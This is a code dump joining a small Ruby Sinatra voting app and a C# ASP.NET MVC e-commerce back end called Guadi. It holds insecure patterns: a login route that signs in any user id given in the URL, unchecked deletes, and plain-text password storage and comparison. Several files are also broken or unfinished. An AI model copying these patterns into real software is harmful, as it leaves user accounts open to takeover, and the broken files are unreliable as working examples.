# (Time.now - local_time).abs
#end
end
<file_sep>/app/models/user.rb
class User < ActiveRecord::Base
has_many :questions
has_many :votes
validates :username, presence: true
validates :email, presence: true
validates :password, presence: true
def add_or_update_vote(question, option)
get_vote = Vote.find_or_create_by(user_id: id, question_id: question)
get_vote.value = option
get_vote
end
end
<file_sep>/app/actions.rb
# For voting create conditional if vote.user_id && vote.question_id then crash
before do
current_user
end
### FOR TEST PAGE ###
get '/test' do
questions = Question.all
@questions = questions.order(created_at: :desc)
erb :test
end
### THE REAL ROUTES ###
##################################
#Gets #
##################################
get '/' do
@questions = curr_category.order(created_at: :desc)
erb :index
end
get '/category/:cat_name' do
if params[:cat_name] == 'top'
session[:category] = 'top'
@questions = popular_questions
else
session[:category] = params[:cat_name]
@questions = curr_category.order(created_at: :desc)
end
erb :index
end
get '/login' do
erb :not_logged_in
end
get '/login/:id' do
session[:id] = params[:id]
session[:category] = nil
redirect '/'
end
get '/logout' do
session[:id] = nil
session[:category] = nil
redirect '/'
end
get '/questions/new' do
@question = Question.new
erb :'/questions/new'
end
get '/:username' do
@user = User.find_by(username: params[:username])
if @user
@live_questions = get_user_questions(@user, false)
@expired_questions = get_user_questions(@user, true)
@live_tagged = get_tagged_questions(@user, false)
@expired_tagged = get_tagged_questions(@user, true)
erb :'users/show'
end
end
##################################
#Delete #
##################################
delete '/questions/:qid/delete' do
if request.xhr?
content_type :json
@question = Question.find(params[:qid])
@question.destroy
{success: true, id: @question.id, message: "question delete"}.to_json
end
end
##################################
#Posts #
##################################
post '/' do
params[:time].to_i unless params[:time].nil?
@question = current_user.questions.new(params[:question])
if @question.save
redirect '/'
else
erb :'/questions/new'
end
end
post '/questions/:qid/vote' do
content_type :json
@question = Question.find(params[:qid].to_i)
@vote = current_user.add_or_update_vote(@question.id, params[:option].to_i)
@vote.save
array = []
array << @question.vote_count(0)
array << @question.vote_count(1)
array.to_json
end
post '/questions/:qid/edit' do
@question = current_user.questions.find(params[:qid])
@question.attributes = {
# tagged_user: "",
time: params[:time].to_i,
resolved: false
}
if @question.save
redirect request.referer
else
flash[:notice] = @question.errors.full_messages
redirect request.referer
end
end
<file_sep>/db/migrate/20160227013744_change_time.rb
class ChangeTime < ActiveRecord::Migration
def change
change_column :questions, :time, :integer, default: 5
end
end
<file_sep>/db/migrate/20160226203545_add_tagged_user_to_questions.rb
class AddTaggedUserToQuestions < ActiveRecord::Migration
def change
add_column :questions, :tagged_user, :string
end
end
<file_sep>/spec/spec_helper.rb
require 'rspec'
require 'active_record'
require_relative '../app/models/question'
require_relative '../app/models/vote'
require_relative '../app/models/user'
<file_sep>/db/seeds.rb
#For populating test data for db
############
#Test Users#
############
user_a = User.create(username: "CrashOverride", email: "<EMAIL>", password: "<PASSWORD>")
user_b = User.create(username: "ZeroCool", email: "<EMAIL>", password: "<PASSWORD>")
user_c = User.create(username: "CerealKiller", email: "<EMAIL>", password: "<PASSWORD>")
################
#Test Questions#
################
q_a = user_a.questions.create(category: "sports", tagged_user: "", content: "Pippen v. Jordan", time: 60, option_a: "Pippen", option_b: "Jordan")
############
#Test Votes#
############
#No user_a
v_a = user_b.votes.create(value: 1, question_id: q_a.id)
v_b = user_c.votes.create(value: 0, question_id: q_a.id)
<file_sep>/public/javascript/application.js
$(document).ready(function() {
$('select').material_select();
$('.button-collapse').sideNav();
$('.delete-form').submit(function(e) {
e.preventDefault();
var qid = $(this).attr('question-id');
$.post('/questions/' + qid + '/delete', {_method: 'delete'}).done(
console.log('success')
);
$(this).closest('.question-container').remove();
});
$('.thumb-up').click(function() {
var thumb = (this);
var qid = $(this)[0].id;
var value = $(this)[0].value;
$.post('/questions/' + qid + '/vote', {option: value}).done(function (vote) {
$(thumb).closest('.question-container').find('.left-vote').text(vote[0]);
$(thumb).closest('.question-container').find('.right-vote').text(vote[1]);
});
if (value == 0) {
$(thumb).closest('.question-container').find('.right-button').children().addClass('red accent-2');
$(thumb).closest('.question-container').find('.right-button').children().removeClass('green darken-1');
$(thumb).closest('.question-container').find('.right-button').children().html("<i class='check material-icons'>thumb_up</i>");
} else if (value == 1) {
$(thumb).closest('.question-container').find('.left-button').children().addClass('red accent-2');
$(thumb).closest('.question-container').find('.left-button').children().removeClass('green darken-1');
$(thumb).closest('.question-container').find('.left-button').children().html("<i class='check material-icons'>thumb_up</i>");;
}
$(thumb).html("<i class='check material-icons'>done</i>");
$(thumb).addClass('green darken-1');
$(thumb).removeClass('red accent-2');
});
$.timeago.settings.allowFuture = true;
$("time.timeago").timeago();
});
<file_sep>/spec/questions_spec.rb
require_relative 'spec_helper'
describe Question do
describe '#expire_time' do
it '' do
end
end
end
<file_sep>/db/migrate/20160225032036_add_questions.rb
class AddQuestions < ActiveRecord::Migration
def change
create_table :questions do |t|
t.references :user
t.string :category
t.string :content
t.timestamps
t.integer :time, default: 450
t.boolean :resolved, default: false
t.string :option_a
t.string :option_b
end
end
end
<file_sep>/app/models/question.rb
class Question < ActiveRecord::Base
has_many :votes
belongs_to :user
validates :user_id, presence: true
validates :category, presence: true
validates :time, presence: true
validates :content, presence: true, length: {maximum: 25}
validates :option_a, presence: true, length: {maximum: 280}
validates :option_b, presence: true, length: {maximum: 280}
#validate :tagged_user_is_registered
def expire_time
updated_at + time.minutes if time
end
def expired?
time.nil? ? false : expire_time <= Time.now
end
def close_expired
self.update(resolved: true)
end
def vote_count(answer)
votes.where(value: answer).count
end
## CUSTOM VALIDATIONS ##
#def tagged_user_is_registered
# if tagged_user != "" && User.where(username: tagged_user).empty?
# errors.add(:tagged_user, "is not a registered user!")
# end
#end
end
| 5f2b603f57552377ee849c9d6b28b5d79339cb82 | [
"JavaScript",
"Ruby"
] | 13 | Ruby | choww/arbitrator | 2f7ac578861aa1acac193b4144e56e37feb3cf16 | 9e37dd6aaea4a4070fad786a020c95c37d567a20 | |
refs/heads/master | <repo_name>skykrf/Guadi.ALL<file_sep>/Guadi.Web.Edit/Models/ProductModels.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace Guadi.Web.Edit.Models
{
public class ProductAddModel
{
/// <summary>
/// 产品编号
/// </summary>
public string ProductCode { get; set; }
/// <summary>
/// 产品中文名
/// </summary>
public string ProductChineseName { get; set; }
/// <summary>
/// 成本价
/// </summary>
public decimal CostPrice { get; set; }
/// <summary>
/// 销售价
/// </summary>
public decimal SalePrice { get; set; }
/// <summary>
/// 市场价
/// </summary>
public decimal MarketPrice { get; set; }
/// <summary>
/// 最低价
/// </summary>
public decimal LowstPrice { get; set; }
/// <summary>
/// 是否上架
/// </summary>
public bool IsOnSale { get; set; }
/// <summary>
/// 产品分类ID
/// </summary>
public int CategoryId { get; set; }
}
}<file_sep>/Guadi.Common.Tools/DataAccessException.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.Serialization;
using System.Text;
namespace Guadi.Common.Tools
{
/// <summary>
/// 数据访问层异常类,用于封装数据访问层引发的异常,以供业务逻辑层抓取
/// </summary>
[Serializable]
public class DataAccessException:Exception
{
public DataAccessException()
{
}
/// <summary>
/// 使用异常消息实例化一个新实例
/// </summary>
/// <param name="message"></param>
public DataAccessException(string message) : base(message)
{
}
/// <summary>
/// 使用异常消息与一个内部异常实例化一个新实例
/// </summary>
/// <param name="message"></param>
/// <param name="inner"></param>
public DataAccessException(string message, Exception inner) : base(message, inner)
{
}
/// <summary>
/// 使用可序列化数据实例化一个新实例
/// </summary>
/// <param name="info">保存序列化对象数据的对象。</param>
/// <param name="context">有关源或目标的上下文信息。</param>
protected DataAccessException(SerializationInfo info, StreamingContext context)
: base(info, context) { }
}
}
<file_sep>/Guadi.Common/DataBase.cs
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Text;
namespace Guadi.Common.Data
{
/// <summary>
/// Guadi数据基础类(所有数据库表映射实体都必须继承该类)
/// </summary>
[Serializable]
public class DataBase<TKey>
{
[Required,Column("Id")]
public TKey Id { get; set; }
[Required,Column("CreateTime")]
public DateTime CreateTime { get; set; }
[Required,Column("UpdateTime")]
public DateTime UpdateTime { get; set; }
[NotMapped]
public EnumDataStatus DataStatus
{
get { return (EnumDataStatus) Enum.ToObject(typeof (EnumDataStatus), DataState); }
set { DataState =(byte)value; }
}
[Required,Column("DataState")]
public byte DataState { get; private set; }
}
/// <summary>
/// 数据状态枚举
/// </summary>
public enum EnumDataStatus:byte
{
/// <summary>
/// 正常(默认)
/// </summary>
Normal=0,
/// <summary>
///删除
/// </summary>
Deleted=1
}
}
<file_sep>/Guadi.Product.BLL/Impl/ServiceBase.cs
using System;
using System.Collections.Generic;
using System.ComponentModel.Composition;
using System.Linq;
using System.Text;
using Guadi.Common.Data;
namespace Guadi.Product.BLL.Impl
{
/// <summary>
/// 核心业务实现基类
/// </summary>
internal abstract class ServiceBase
{
/// <summary>
/// 获取或设置 工作单元对象,用于处理同步业务的实务操作
/// </summary>
[Import]
protected IUnitOfWork UnitOfWork { get; set; }
}
}
<file_sep>/Guadi.Common/EfRepositoryBase.cs
using System;
using System.Collections.Generic;
using System.ComponentModel.Composition;
using System.Linq;
using System.Linq.Expressions;
using System.Text;
using Guadi.Common.Tools;
namespace Guadi.Common.Data
{
/// <summary>
/// EntityFramework仓储操作基类
/// </summary>
/// <typeparam name="TEntity">动态实体类型</typeparam>
/// <typeparam name="TKey">实体主键类型</typeparam>
public abstract class EfRepositoryBase<TEntity,TKey> : IRepository<TEntity,TKey> where TEntity : DataBase<TKey>
{
#region 属性
/// <summary>
/// 获取 仓储上下文的实例
/// </summary>
[Import]
public IUnitOfWork UnitOfWork { get; set; }
/// <summary>
/// 获取 EntityFramework的数据仓储上下文
/// </summary>
protected UnitOfWorkContextBase EfContext
{
get
{
if (UnitOfWork is UnitOfWorkContextBase)
{
return UnitOfWork as UnitOfWorkContextBase;
}
throw new DataAccessException(string.Format("数据仓储上下文对象类型不正确,应为UnitOfWorkContextBase,实际为{0}",UnitOfWork.GetType().Name));
}
}
/// <summary>
/// 当前实体的查询数据集
/// </summary>
public IQueryable<TEntity> Entities
{
get { return EfContext.Set<TEntity,TKey>(); }
}
#endregion
#region 公共方法
/// <summary>
/// 插入实体记录
/// </summary>
/// <param name="entity">实体对象</param>
/// <param name="isSave">是否执行保存</param>
/// <returns>操作影响的行数</returns>
public virtual int Insert(TEntity entity, bool isSave = true)
{
EfContext.RegisterNew<TEntity,TKey>(entity);
return isSave ? EfContext.Commit() : 0;
}
/// <summary>
/// 批量插入实体记录
/// </summary>
/// <param name="entities">实体记录集合</param>
/// <param name="isSave">是否执行保存</param>
/// <returns>操作影响的行数</returns>
public virtual int Insert(IEnumerable<TEntity> entities, bool isSave = true)
{
EfContext.RegisterNew<TEntity,TKey>(entities);
return isSave ? EfContext.Commit() : 0;
}
/// <summary>
/// 删除指定编号的记录
/// </summary>
/// <param name="id">实体记录编号</param>
/// <param name="isSave">是否执行保存</param>
/// <returns>操作影响的行数</returns>
public int Delete(TKey id, bool isSave = true)
{
TEntity entity = EfContext.Set<TEntity,TKey>().Find(id);
return entity != null ? Delete(entity, isSave) : 0;
}
/// <summary>
/// 删除实体记录
/// </summary>
/// <param name="entity">实体对象</param>
/// <param name="isSave">是否执行保存</param>
/// <returns>操作影响的行数</returns>
public int Delete(TEntity entity, bool isSave = true)
{
EfContext.RegisterDeleted<TEntity,TKey>(entity);
return isSave ? EfContext.Commit() : 0;
}
/// <summary>
/// 删除实体记录集合
/// </summary>
/// <param name="entities">实体记录集合</param>
/// <param name="isSave">是否执行保存</param>
/// <returns>操作影响的行数</returns>
public int Delete(IEnumerable<TEntity> entities, bool isSave = true)
{
EfContext.RegisterDeleted<TEntity,TKey>(entities);
return isSave?EfContext.Commit():0;
}
/// <summary>
/// 删除所有符合特定表达式的数据
/// </summary>
/// <param name="predicate">查询条件谓语表达式</param>
/// <param name="isSave">是否执行保存</param>
/// <returns>操作影响的行数</returns>
public int Delete(Expression<Func<TEntity, bool>> predicate, bool isSave = true)
{
List<TEntity> entities = EfContext.Set<TEntity,TKey>().Where(predicate).ToList();
return entities.Count > 0 ? Delete(entities, isSave) : 0;
}
/// <summary>
/// 更新实体记录
/// </summary>
/// <param name="entity">实体对象</param>
/// <param name="isSave">是否执行保存</param>
/// <returns>操作影响的行数</returns>
public int Update(TEntity entity, bool isSave = true)
{
EfContext.RegisterModified<TEntity,TKey>(entity);
return isSave ? EfContext.Commit() : 0;
}
/// <summary>
/// 使用附带新值的实体信息更新指定实体属性的值
/// </summary>
/// <param name="propertyExpression">属性表达式</param>
/// <param name="entity">附带新值的实体信息,必须包含主键</param>
/// <param name="isSave">是否执行保存</param>
/// <returns>操作影响的行数</returns>
public int Update(Expression<Func<TEntity, object>> propertyExpression, TEntity entity, bool isSave = true)
{
throw new NotSupportedException("上下文公用,不支持按需更新功能");
}
/// <summary>
/// 查找指定主键的实体记录
/// </summary>
/// <param name="key">指定主键</param>
/// <returns>符合编号的记录,不存在返回null</returns>
public TEntity GetByKey(TKey key)
{
return EfContext.Set<TEntity,TKey>().Find(key);
}
#endregion
}
}
<file_sep>/Guadi.User.BLL/Impl/UserServices.cs
using System;
using System.Collections.Generic;
using System.ComponentModel.Composition;
using System.Linq;
using System.Text;
using Guadi.Common.Tools;
using Guadi.User.Models;
using Guadi.User.DAO;
namespace Guadi.User.BLL.Impl
{
public abstract class UserServices:ServicesBase,IUserContract
{
#region 属性
#region 保护属性
/// <summary>
/// 获取或设置 用户信息数据访问对象
/// </summary>
[Import]
protected IUserRepository UserRepository { get; set; }
#endregion
#region 公共属性
public IQueryable<Users> Users { get { return UserRepository.Entities; }}
#endregion
#endregion
/// <summary>
/// 用户登录
/// </summary>
/// <param name="loginInfo">登录信息</param>
/// <returns>业务操作结果</returns>
public virtual OperationResult Login(LoginInfo loginInfo)
{
Users user = UserRepository.Entities.SingleOrDefault(p => p.UserName == loginInfo.Account);
if (user == null)
{
return new OperationResult(OperationResultType.QueryNull,"指定账户的用户不存在。");
}
if (user.Password != loginInfo.Password)
{
return new OperationResult(OperationResultType.Warning,"登录密码不正确。");
}
return new OperationResult(OperationResultType.Success,"登录成功。",user);
}
}
}
<file_sep>/Guadi.Web.Edit/Controllers/PartialController.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
namespace Guadi.Web.Edit.Controllers
{
public class PartialController : Controller
{
public ActionResult Head()
{
return PartialView();
}
public ActionResult Left()
{
return PartialView();
}
public ActionResult Foot()
{
return PartialView();
}
}
}
<file_sep>/Guadi.Web.Edit/Controllers/UserManageController.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using Guadi.Web.Edit.Models;
namespace Guadi.Web.Edit.Controllers
{
public class UserManageController : Controller
{
/// <summary>
/// 首页
/// </summary>
/// <returns></returns>
public ActionResult Index()
{
return View();
}
public ActionResult Add()
{
return View();
}
public ActionResult Add(UserModel model)
{
return View();
}
[HttpGet]
public JsonResult GetUserList(int rows = 10, int page = 1)
{
Dictionary<object, object> data = new Dictionary<object, object>();
data.Add("total",200);
var list = new List<UserModel>();
UserModel p = new UserModel()
{
ContractEmail = "<EMAIL>",
ContractNumber = "18721856450",
Id = 1000,
Level = "金牌会员",
NickName = "水帘洞行者孙",
Status = "正常"
};
list.Add(p);
list.Add(p);
list.Add(p);
list.Add(p);
list.Add(p);
list.Add(p);
list.Add(p);
list.Add(p);
list.Add(p);
list.Add(p);
list.Add(p);
list.Add(p);
data.Add("rows",list);
return Json(data, JsonRequestBehavior.AllowGet);
}
}
}
<file_sep>/Guadi.Product.BLL/IAreaContract.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Guadi.Product.Models;
using Guadi.Common.Tools;
using Guadi.Product.Models.ContractModels.Area;
using Guadi.Product.Models.DbModels.Area;
namespace Guadi.Product.BLL
{
/// <summary>
/// 地域模块核心业务契约
/// </summary>
public interface IAreaContract
{
#region 属性
/// <summary>
/// 获取 国际信息查询数据集
/// </summary>
IQueryable<Countrys> Countrys { get; }
#endregion
#region 公共方法
/// <summary>
/// 添加新的国家
/// </summary>
/// <returns></returns>
OperationResult AddNewCountry(CountryEditModel model);
#endregion
}
}
<file_sep>/Guadi.Web.Edit/Controllers/ProductManageController.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using Guadi.Web.Edit.Models;
namespace Guadi.Web.Edit.Controllers
{
public class ProductManageController : Controller
{
public ActionResult Index()
{
return View();
}
[HttpGet]
public ActionResult Add()
{
return View();
}
[HttpPost]
public ActionResult Add(ProductAddModel model)
{
return View();
}
}
}
<file_sep>/Guadi.Product.Models/ContractModels/Area/CountryEditModel.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Guadi.Product.Models.ContractModels.Area
{
public class CountryEditModel
{
/// <summary>
/// 名字
/// </summary>
public string Name { get; set; }
/// <summary>
/// 经度
/// </summary>
public double Longitude { get; set; }
/// <summary>
/// 纬度
/// </summary>
public double Latitude { get; set; }
}
}
<file_sep>/Guadi.Common/IEntityMapper.cs
using System;
using System.Collections.Generic;
using System.ComponentModel.Composition;
using System.Data.Entity.ModelConfiguration.Configuration;
using System.Linq;
using System.Text;
namespace Guadi.Common.Data
{
/// <summary>
/// 实体映射接口
/// </summary>
[InheritedExport]
public interface IEntityMapper
{
/// <summary>
/// 将当前实体映射对象注册到当前访问数据访问上下文实体映射配置注册器中
/// </summary>
/// <param name="configurations"></param>
void RegistTo(ConfigurationRegistrar configurations);
}
}
<file_sep>/Guadi.Product.DAO/Area/ICountryRepository.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Guadi.Common.Data;
using Guadi.Product.Models;
using Guadi.Product.Models.DbModels.Area;
namespace Guadi.Product.DAO.Area
{
/// <summary>
///仓储操作接口--国家信息
/// </summary>
public partial interface ICountryRepository:IRepository<Countrys,int>
{}
}
<file_sep>/Guadi.Product.Models/DbModels/Area/Countrys.cs
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Text;
using Guadi.Common.Data;
namespace Guadi.Product.Models.DbModels.Area
{
/// <summary>
/// 国家
/// </summary>
public class Countrys:DataBase<int>
{
/// <summary>
/// 名称
/// </summary>
[Required]
public string Name { get; set; }
/// <summary>
/// 经度
/// </summary>
[Required]
public double Longitude { get; set; }
/// <summary>
/// 纬度
/// </summary>
[Required]
public double Latitude { get; set; }
}
}
<file_sep>/Guadi.Common/DbConnectionConfig.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Guadi.Common.Data
{
/// <summary>
/// 数据库连接串名称
/// </summary>
public sealed class DbConnectionConfig
{
/// <summary>
/// 用户数据库连接串名称
/// </summary>
public static string UserDbConnectionString = "UserDbConnectionString";
/// <summary>
/// 产品数据库连接串名称
/// </summary>
public static string ProductDbConnectionString = "ProductDbConnectionString";
/// <summary>
/// 订单数据库连接串名称
/// </summary>
public static string OrderDbConnectionString = "OrderDbConnectionString";
/// <summary>
/// 基础数据库连接串名称
/// </summary>
public static string CommonDbConnectionString = "CommonDbConnectionString";
}
}
<file_sep>/Guadi.Web.Edit/Models/UserModel.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace Guadi.Web.Edit.Models
{
public class UserModel
{
/// <summary>
/// ID
/// </summary>
public long Id { get; set; }
/// <summary>
/// 昵称
/// </summary>
public string NickName { get; set; }
/// <summary>
/// 联系邮箱
/// </summary>
public string ContractEmail { get; set; }
/// <summary>
/// 联系电话
/// </summary>
public string ContractNumber { get; set; }
/// <summary>
/// 会员等级
/// </summary>
public string Level { get; set; }
/// <summary>
/// 会员状态
/// </summary>
public string Status { get; set; }
}
/// <summary>
///
/// </summary>
public class UserListData
{
public int total { get; set; }
public List<UserModel> rows { get; set; }
}
}<file_sep>/Guadi.Web.Tool/Helper/Ioc/MefDependencySolver.cs
using System;
using System.Collections.Generic;
using System.ComponentModel.Composition;
using System.ComponentModel.Composition.Hosting;
using System.ComponentModel.Composition.Primitives;
using System.Linq;
using System.Text;
using System.Web;
using System.Web.Mvc;
namespace Guadi.Web.Tool.Helper.Ioc
{
public class MefDependencySolver:IDependencyResolver
{
private readonly ComposablePartCatalog _catalog;
private const string MefContainerKey = "MefContainerKey";
public MefDependencySolver(ComposablePartCatalog catalog)
{
_catalog = catalog;
}
public CompositionContainer Container
{
get
{
if (!HttpContext.Current.Items.Contains((MefContainerKey)))
{
HttpContext.Current.Items.Add(MefContainerKey,new );
}
}
}
}
}
<file_sep>/Guadi.User.DAO/Impl/UserRepository.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.ComponentModel.Composition;
using Guadi.Common.Data;
using Guadi.User.Models;
namespace Guadi.User.DAO.Impl
{
/// <summary>
/// 仓储操作层实现--用户信息
/// </summary>
[Export(typeof(IUserRepository))]
public partial class UserRepository:EfRepositoryBase<Users,long>,IUserRepository
{
}
}
<file_sep>/Guadi.Common/IUnitOfWorkContext.cs
using System;
using System.Collections.Generic;
using System.Data.Entity;
using System.Linq.Expressions;
namespace Guadi.Common.Data
{
/// <summary>
/// 数据单元操作接口
/// </summary>
public interface IUnitOfWorkContext:IUnitOfWork,IDisposable
{
/// <summary>
/// 注册一个新的对象到仓储上下文中
/// </summary>
/// <typeparam name="TEntity">要注册的类型</typeparam>
/// <typeparam name="TKey">实体主键类型</typeparam>
/// <param name="entity">要注册的对象</param>
void RegisterNew<TEntity,TKey>(TEntity entity) where TEntity : DataBase<TKey>;
/// <summary>
/// 批量注册多个新的对象到仓储上下文中
/// </summary>
/// <typeparam name="TEntity">要注册的类型</typeparam>
/// <typeparam name="TKey">实体主键类型</typeparam>
/// <param name="entities">要注册的对象集合</param>
void RegisterNew<TEntity,TKey>(IEnumerable<TEntity> entities) where TEntity : DataBase<TKey>;
/// <summary>
/// 注册一个更改的对象到仓储上下文中
/// </summary>
/// <typeparam name="TEntity">要注册的类型</typeparam>
/// <typeparam name="TKey">实体主键类型</typeparam>
/// <param name="entity">要注册的对象</param>
void RegisterModified<TEntity,TKey>(TEntity entity) where TEntity : DataBase<TKey>;
/// <summary>
/// 使用指定的属性表达式指定注册更改的对象到仓储上下文中
/// </summary>
/// <typeparam name="TEntity">要注册的类型</typeparam>
/// <typeparam name="TKey">实体主键类型</typeparam>
/// <param name="propertyExpression">属性表达式,包含要更新的实体属性</param>
/// <param name="entity">附带新值的实体信息,必须包含主键</param>
void RegisterModified<TEntity,TKey>(Expression<Func<TEntity, object>> propertyExpression, TEntity entity)
where TEntity : DataBase<TKey>;
/// <summary>
/// 注册一个删除的对象到仓储上下文中
/// </summary>
/// <typeparam name="TEntity">要注册的类型</typeparam>
/// <typeparam name="TKey">实体主键类型</typeparam>
/// <param name="entity">要注册的对象</param>
void RegisterDeleted<TEntity,TKey>(TEntity entity) where TEntity : DataBase<TKey>;
/// <summary>
/// 批量注册多个删除的对象到仓储上下文中
/// </summary>
/// <typeparam name="TEntity">要注册的类型</typeparam>
/// <typeparam name="TKey">实体主键类型</typeparam>
/// <param name="entities">要注册的对象集合</param>
void RegisterDeleted<TEntity,TKey>(IEnumerable<TEntity> entities) where TEntity : DataBase<TKey>;
}
}
<file_sep>/Guadi.Product.DAO/Area/Impl/CountryRepository.cs
using System.ComponentModel.Composition;
using Guadi.Common.Data;
using Guadi.Product.Models.DbModels.Area;
namespace Guadi.Product.DAO.Area.Impl
{
/// <summary>
/// 仓储操作层实现
/// </summary>
[Export(typeof(ICountryRepository))]
public partial class CountryRepository:EfRepositoryBase<Countrys,int>,ICountryRepository
{}
}
<file_sep>/Guadi.Common.Tools/StringHelper.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Newtonsoft.Json;
namespace Guadi.Common.Tools
{
/// <summary>
/// 字符串辅助操作类
/// </summary>
public class StringHelper
{
/// <summary>
/// 把对象转换成Json字符串表示形式
/// </summary>
/// <param name="jsonObject"></param>
/// <returns></returns>
public static string BuildJsonString(object jsonObject)
{
return JsonConvert.SerializeObject(jsonObject);
}
/// <summary>
/// 大写字母
/// </summary>
protected static readonly char[] BigAlphabets =
{
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',
'V', 'W', 'X', 'Y', 'Z'
};
/// <summary>
/// 小写字母
/// </summary>
protected static readonly char[] SmallAlphabets =
{
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',
'v', 'w', 'x', 'y', 'z'
};
/// <summary>
/// 数字
/// </summary>
protected static readonly char[] Digitals =
{
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9'
};
/// <summary>
/// 生成指定长度指定类型的随机字符串(默认为大写字母随机串)
/// </summary>
/// <param name="type">1:大写字母,2:小写字母,3:数字,4:大写字母和小写字母,5:大写字母和数字,6:小写字母和数字,7:大小写字母和数字</param>
/// <param name="length">随机字符创长度</param>
/// <returns></returns>
public static string GenerateRandomString(int length,int type=1)
{
if (length < 0) return "";
StringBuilder randomStrB=new StringBuilder(length);
Random rd=new Random(Guid.NewGuid().GetHashCode());
char[] sourceStr = BigAlphabets;
string bigAlphabets = BigAlphabets.ToString();
string smaAlphabets = SmallAlphabets.ToString();
string digitals = Digitals.ToString();
switch (type)
{
case 1:
sourceStr = BigAlphabets;
break;
case 2:
sourceStr = SmallAlphabets;
break;
case 3:
sourceStr = Digitals;
break;
case 4:
sourceStr = (bigAlphabets+smaAlphabets).ToArray();
break;
case 5:
sourceStr = (bigAlphabets + digitals).ToArray();
break;
case 6:
sourceStr = (smaAlphabets + digitals).ToArray();
break;
case 7:
sourceStr = (bigAlphabets + digitals + smaAlphabets).ToArray();
break;
}
randomStrB.Append(sourceStr[rd.Next(0, sourceStr.Length)]);
return randomStrB.ToString();
}
}
}
<file_sep>/Guadi.Product.BLL/Impl/AreaServices.cs
using System;
using System.Collections.Generic;
using System.ComponentModel.Composition;
using System.Linq;
using System.Text;
using Guadi.Common.Data;
using Guadi.Product.Models;
using Guadi.Product.DAO.Area;
using Guadi.Common.Tools;
using Guadi.Product.Models.ContractModels.Area;
using Guadi.Product.Models.DbModels.Area;
namespace Guadi.Product.BLL.Impl
{
/// <summary>
/// 地域模块业务实现
/// </summary>
[Export(typeof(IAreaContract))]
internal abstract class AreaServices:ServiceBase,IAreaContract
{
#region 属性
#region 受保护的属性
/// <summary>
/// 获取或设置 国家数据访问对象
/// </summary>
[Import]
protected ICountryRepository CountryRepository { get; set; }
#endregion
#region 公共属性
public IQueryable<Countrys> Countrys {
get { return CountryRepository.Entities; }
}
#endregion
#endregion
#region 方法
/// <summary>
/// 添加新的国家
/// </summary>
/// <param name="model"></param>
/// <returns></returns>
public virtual OperationResult AddNewCountry(CountryEditModel model)
{
Countrys country =
CountryRepository.Entities.SingleOrDefault(
p => p.Name.Equals(model.Name) && p.DataStatus == EnumDataStatus.Normal);
if (country != null)
{
return new OperationResult(OperationResultType.Warning,"该国家已经存在。");
}
Countrys newModel=new Countrys()
{
CreateTime = DateTime.Now,
DataStatus = EnumDataStatus.Normal,
Latitude = model.Latitude,
Longitude = model.Longitude,
Name = model.Name,
UpdateTime = DateTime.Now
};
CountryRepository.Insert(newModel);
return new OperationResult(OperationResultType.Success,"添加国家成功。");
}
#endregion
}
}
<file_sep>/Guadi.Common/EfDbContext.cs
using System;
using System.Collections.Generic;
using System.ComponentModel.Composition;
using System.Data.Common;
using System.Data.Entity;
using System.Linq;
using System.Text;
namespace Guadi.Common.Data
{
/// <summary>
/// EF数据访问上下文
/// </summary>
[Export("EF",typeof(DbContext))]
public class EfDbContext:DbContext
{
public EfDbContext()
: base("default")
{
}
public EfDbContext(string nameOrConnectionString)
: base(nameOrConnectionString)
{
}
public EfDbContext(DbConnection existingConnection)
: base(existingConnection, true)
{
}
}
}
<file_sep>/Guadi.User.Models/Users.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Guadi.Common.Data;
namespace Guadi.User.Models
{
public class Users:DataBase<long>
{
/// <summary>
/// 登录名
/// </summary>
public string UserName { get; set; }
/// <summary>
/// 密码
/// </summary>
public string Password { get; set; }
}
}
<file_sep>/Guadi.Product.Web.Tests/UnitTest1.cs
using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;
namespace Guadi.Product.Web.Tests
{
[TestClass]
public class UnitTest1
{
[TestMethod]
public void TestMethod1()
{
var controller =new Guadi.Product.Web.Controllers.CountryController();
var result = controller.Index();
Assert.AreEqual("Index",result.ToString());
}
}
}
<file_sep>/Guadi.User.DAO/IUserRepository.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Guadi.Common.Data;
using Guadi.User.Models;
namespace Guadi.User.DAO
{
/// <summary>
/// 仓库操作接口-用户信息
/// </summary>
public partial interface IUserRepository:IRepository<Users,long>
{
}
}
<file_sep>/Guadi.Product.Web/Controllers/CountryController.cs
using System;
using System.Collections.Generic;
using System.ComponentModel.Composition;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using Guadi.Common.Tools;
using Guadi.Product.Models.ContractModels.Area;
using Guadi.Product.BLL;
namespace Guadi.Product.Web.Controllers
{
[Export]
public class CountryController : Controller
{
#region 属性
[Import]
public IAreaContract AreaContract { get; set; }
#endregion
public ActionResult Index()
{
CountryEditModel model=new CountryEditModel()
{
Latitude = 10.11,
Longitude = 11.1,
Name = "中国"
};
var result = AreaContract.AddNewCountry(model);
return View();
}
[HttpGet]
public ActionResult Add()
{
return View();
}
[HttpPost]
public ActionResult Add(CountryEditModel model)
{
